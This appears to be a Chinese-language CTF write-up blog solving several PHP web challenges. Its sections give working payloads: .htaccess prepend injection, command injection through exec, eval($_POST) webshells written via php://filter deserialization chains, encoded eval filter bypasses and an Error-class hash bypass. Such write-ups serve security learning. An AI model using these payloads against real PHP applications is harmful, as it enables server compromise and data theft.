[羊城杯2020]easyphp

.htaccess绕过,利用反斜杠绕过字符串过滤,相当于直接写入到index.php的前面执行解析。

http://9fa046fa-29e2-4272-a1a0-9c7dfc9617f8.node3.buuoj.cn/?filename=.htaccess&content=php_value%20auto_prepend_fil%0Ae%20.htaccess%0A%23%3C?php%20system(%27cat%20/fla%27.%27g%27);?%3E

.htaccess相当于以下文件:

php_value auto_prepend_fil
e .htaccess
#<?php system('cat /fla'.'g');?>
Hello, world
image.png

[羊城杯 2020]Blackcat

下载MP3,010 Editor看音乐本身

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('Ë­£¡¾¹¸Ò²ÈÎÒÒ»Ö»¶úµÄβ°Í£¡');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
    die('ÓÐÒâÃé×¼£¬ÎÞÒâ»÷·¢£¬ÄãµÄÃÎÏë¾ÍÊÇÄãÒªÃé×¼µÄÄ¿±ê¡£ÏàÐÅ×Ô¼º£¬Äã¾ÍÊÇÄÇ¿ÅÉäÖаÐÐĵÄ×Óµ¯¡£');
}

echo exec("nc".$_POST['One-ear']);

本地启动一个环境;

目标是过掉函数hash_hmac;这里我们使用数组绕过。

image.png

然后算出结果就行了。注意这里flag在环境变量中。

White-cat-monitor[]=1&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=%3benv
image.png

[羊城杯 2020]Easyphp2

存在任意文件读取,似乎禁止了一堆过滤器,可惜没有禁止convert.quoted-printable-encode;所以我们可以得到GWHT.php的部分源码

<?php=0D=0A    ini_set('max_execution_time', 5);=0D=0A=0D=0A    if ($_COOKIE['pass'] !=3D=3D getenv('PASS')) {=0D=0A        setcookie('pass', 'PASS');=0D=0A        die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');=0D=0A    }=0D=0A    ?>=0D=0A=0D=0A    <h1>A Counter is here, but it has someting wrong</h1>=0D=0A=0D=0A    <form>=0D=0A        <input type=3D"hidden" value=3D"GWHT.php" name=3D"file">=0D=0A        <textarea style=3D"border-radius: 1rem;" type=3D"text" name=3D"count" rows=3D10 cols=3D50></textarea><br />=0D=0A        <input type=3D"submit">=0D=0A    </form>=0D=0A=0D=0A    <?php=0D=0A    if (isset($_GET["count"])) {=0D=0A        $count =3D $_GET["count"];=0D=0A        if(preg_match('/;|base64|rot13|base32|base16|<?php|#/i', $count)){=0D=0A            die('hacker!');=0D=0A        }=0D=0A        echo "<h2>The Count is: " . exec('printf '' . $count . '' | wc -c') . "</h2>";=0D=0A    }=0D=0A    ?>=0D=0A=0D=0A</body>=0D=0A=0D=0A</html>

手动调整一下,让这个代码稍微能看

<?php
    ini_set('max_execution_time', 5);

    if ($_COOKIE['pass'] !== getenv('PASS')) {
        setcookie('pass', 'PASS');
        die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
    }
    ?>

    <h1>A Counter is here, but it has someting wrong</h1>

    <form>
        <input type="hidden" value="GWHT.php" name="file">
        <textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
        <input type="submit">
    </form>

    <?php
    if (isset($_GET["count"])) {
        $count = $_GET["count"];
        if(preg_match('/;|base64|rot13|base32|base16|<?php|#/i', $count)){
            die('hacker!');
        }
        echo "<h2>The Count is: " . exec('printf '' . $count . '' | wc -c') . "</h2>";
    }
    ?>

先判断cookie,然后再执行count;

设置了一个执行时间,需要得到环境变量的值;

然后看看robots.txt文件,得到提示check.php,查看文件后得到密码为GWHT

然后我们构造payload,用tee命令把中间执行结果带出来到合适的文件中,就可以成功得到命令执行内容了。

/GWHT.php?count='+|+cat+/GWHT/README+|+tee+/tmp/info.txt+|+grep+'

实际上还可以写入shell,文件包含之后用蚁剑解决。

我们这回使用这个方法。

GET /GWHT.php?count='+|+echo+-n+"base6"+|+tee+-a+/tmp/b11.txt+|+grep+' HTTP/1.1
Host: 4af3d2c4-0757-4c4b-9d40-f1962ba50013.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: pass=GWHT
Upgrade-Insecure-Requests: 1

GET /GWHT.php?count='+|+echo+-n+"4%20-d"+|+tee+-a+/tmp/b12.txt+|+grep+' HTTP/1.1
Host: 4af3d2c4-0757-4c4b-9d40-f1962ba50013.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: pass=GWHT
Upgrade-Insecure-Requests: 1

GET /GWHT.php?count='+|+cat+/tmp/b11.txt+/tmp/b12.txt+|+tee+/tmp/b4x.txt+|+grep+' HTTP/1.1
Host: 4af3d2c4-0757-4c4b-9d40-f1962ba50013.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: pass=GWHT
Upgrade-Insecure-Requests: 1

GET /GWHT.php?count='+|+echo+"PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4="+|+bash+/tmp/b4x.txt+|+tee+/tmp/real.txt+|+grep+' HTTP/1.1
Host: 4af3d2c4-0757-4c4b-9d40-f1962ba50013.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: pass=GWHT
Upgrade-Insecure-Requests: 1

http://4af3d2c4-0757-4c4b-9d40-f1962ba50013.node3.buuoj.cn/?file=/tmp/real.txt

蚁剑连接,发现疑似flag,权限不够

/GWHT/system/of/a/down/flag.txt

/GWHT/README中发现哈希值,somd5解密得到

877862561ba0162ce610dd8bf90868ad414f0ec6
GWHTCTF

应该需要使用su提权来读取,但是蚁剑的shell没法输入密码,很坑,所以就只能跳过这一步了,直接用env命令拿到flag

image.png

[羊城杯 2020]EasySer

robots.txt可以知道存在文件star1.php,进去之后发现是一个嵌套的百度

F12后看见要进入ser.php,那么我们换个协议进去,没想到这里使用http协议,没别的东西。。。

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';

class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yasuo;
    }
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;

    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
         @file_put_contents($this-> file,$a);
    }
}
class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
}

?>

看起来是个反序列化,但是没入口点,查WP后知道原来有个入口点c。。。。离谱

写入Payload

c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:40:"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==";}}

连接上根目录找flag完事

[羊城杯 2020]Break The Wall

先拿到phpinfo,进行观察

然后发现flag在phpinfo里面有。。。不过这个显然不是正规的做法,不过可以先交上去

现在我们来看看正规的流程

首先判断能否用蚁剑的绕过disable_functions,发现没用

不过,我们现在拿到了wp,所以我们可以给蚁剑写个脚本来完成对版本低于7.4.8的利用。

这个脚本会上传到我的github上面,同时会申请push到AntSword插件的主分支上。

总之,然后我们直接调用/readflag,我们就会神奇的发现居然没用。。。其他的命令可以正常输入输出

直接改Payload为env,我们就会发现,这个有用。。。

image.png

[红明谷CTF 2021]write_shell

给了源代码

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\^|\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

数组拆分Payload直接拿Shell,然后蚁剑连接拿flag

http://e8e77821-2213-4a9c-a75b-28fa1169fe41.node3.buuoj.cn/?action=upload&data[1]=%3C?ph&data[2]=p&data[3]=%0A&data[4]=eva&data[5]=l(%22eva&data[6]=l($%22.%22x5fPOST[cmd])%22.%22x3b%22&data[7]=)?%3E

Wallbreaker_Easy

蚁剑直接PHP7_GC_UAF,秒掉

不过也有正常的做法

[极客大挑战 2020]Greatphp

给了源代码

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/<?php|(|)|"|'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

应该是反序列化调用合适的参数来eval;这里需要绕过两个函数md5sha1,而且这里是完全相等才能绕过;

不会了,查题解得知可以用Error触发原生类的__toString从而达到绕过的目的,两个对象不一样就行

O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A19%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A19%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D

[ISITDTU 2019]EasyPHP

给了源代码

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[x00- 0-9'"`
 
amp;.,|[{_defgopsx7F]+/i', $_) ) die('rosé will not do it'); if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd ) die('you are so close, omg'); eval($_); ?>

字符种类数需要小于等于13

先拿phpinfo;这里用的是[极客大挑战 2019]RCE ME的Payload

_=(~%8F%97%8F%96%91%99%90)();

很多函数被过滤了,不过也有挺多没被过滤;我们先来scandir(".");

print_r(scandir('.'));

((~%9b%9c%9b%9b%9b%9b%9c)^(~%9b%8f%9b%9c%9c%9b%8f)^(~%8f%9e%96%96%8c%a0%9e))(((~%9b%9b%9b%9b%9b%9b%9c)^(~%9b%9b%9b%9c%a0%9b%8f)^(~%8c%9c%9e%96%a0%96%9e))(~%d1));

得到文件名n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt

readfile或者show_source读取

show_source(end(scandir(.)));

((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

拿到flag

[EIS 2019]EzPOP

给了源码

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?phpn//" . sprintf('%012d', $expire) . "n exit();?>n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

考虑到__destruct,我们肯定是先套一个类A,然后再根据函数名set,我们套一个类B;

在类B的set方法中,我们需要绕过exit,这里我们用PHP伪协议convert.base64-decode来绕过。

那么payload基本算是已经出来了。

<?

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
        $this->autosave = false;
        $this->complete = 0;
        $this->cache = array('11' => array('timestamp'=>'PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+'));
    }
}

class B {
    public $options;

    public function __construct($serialize,$data_compress,$expire,$prefix){
        $this->options = array();
        $this->options['serialize'] = $serialize;
        $this->options['data_compress'] = $data_compress;
        $this->options['expire'] = $expire;
        $this->options['prefix'] = $prefix;
    }

}



$ts = new B('strval',false,0,'php://filter/write=convert.base64-decode/resource=');

$tx = new A($ts,'init3.php',11);

print_r(urlencode(serialize($tx)));

echo "<br />";

print_r(serialize($tx));

?>

注意这个base64是4个一组的,需要拼凑数量。

连接shell,拿flag

It is my final heart.
最后更新于 2022-07-24